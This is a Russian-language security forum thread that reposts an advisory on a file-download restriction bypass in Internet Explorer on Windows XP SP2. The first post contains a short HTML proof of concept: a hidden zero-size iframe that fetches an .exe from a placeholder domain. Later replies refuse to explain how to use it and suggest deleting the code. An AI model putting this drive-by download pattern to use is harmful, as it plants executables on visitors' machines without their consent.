Показано с 1 по 4 из 4.

Обход ограничений в Microsoft IE на Windows XP SP2

  1. #1
    Geser
    Guest

    Обход ограничений в Microsoft IE на Windows XP SP2

    Программа: Microsoft Internet Explorer (IE) на Windows XP SP2
    Опасность: Средняя

    Наличие эксплоита: Да

    Описание:
    Уязвимость обнаружена в Microsoft Internet Explorer на Windows XP SP2. Удаленный атакующий может загрузить на уязвимую систему произвольный файл.

    Удаленный атакующий может с помощью специально сформированной web страницы обойти ограничения безопасности для 'File Download' и 'File Open' и загрузить произвольный файл на уязвимую систему. Уязвимость реализуется посредством ответа сервера на запрос сообщением HTTP 404 error и вызова метода execCommand. Пример:

    Код:
    <html>
    < body>
    < iframe src=&#039;http://your.domain.com/v.exe?.htm&#039; name=
    "NotFound" width="0" height="0"></iframe>
    Click here.
    < /body>
    < /html>
    URL производителя: www. microsoft.com

    Решение: решение на данный момент не существует

  2. Будь в курсе!
    Реклама на VirusInfo

    Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

    Anti-Malware Telegram
     

  3. #2
    Gnusmus
    Guest

    Re:Обход ограничений в Microsoft IE на Windows XP SP2

    Извините Я "полный чайник" :&#039;(, и незню куда этот код всунуть(часто натыкаешся на такие штуки и ...). Если Вам нетрудно и есть минута на такого тугодума как Я немоглибы Вы это дело поподробнее разьяснить. Что с этим делать, как компилировать чем, и надо ли это вообще. Или мот ссылочки посоветуете с инфой.Заранее благодарен

  4. #3
    Geser
    Guest

    Re:Обход ограничений в Microsoft IE на Windows XP SP2

    Цитата Сообщение от Gnusmus
    Извините Я "полный чайник" :&#039;(, и незню куда этот код всунуть(часто натыкаешся на такие штуки и ...). Если Вам нетрудно и есть минута на такого тугодума как Я немоглибы Вы это дело поподробнее разьяснить. Что с этим делать, как компилировать чем, и надо ли это вообще. Или мот ссылочки посоветуете с инфой.Заранее благодарен
    Мы не занимаемся созданием експлоитов. НМы с ними боремся

  5. #4
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для Jolly Rojer
    Регистрация
    15.12.2004
    Адрес
    Россия,Новосибирск
    Сообщений
    989
    Вес репутации
    304

    Re:Обход ограничений в Microsoft IE на Windows XP SP2

    Цитата Сообщение от Geser
    Мы не занимаемся созданием експлоитов. НМы с ними боремся
    А код желательно всеже стереть ;D

Свернуть/Развернуть Ваши права в разделе

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Page generated in 0.00555 seconds with 19 queries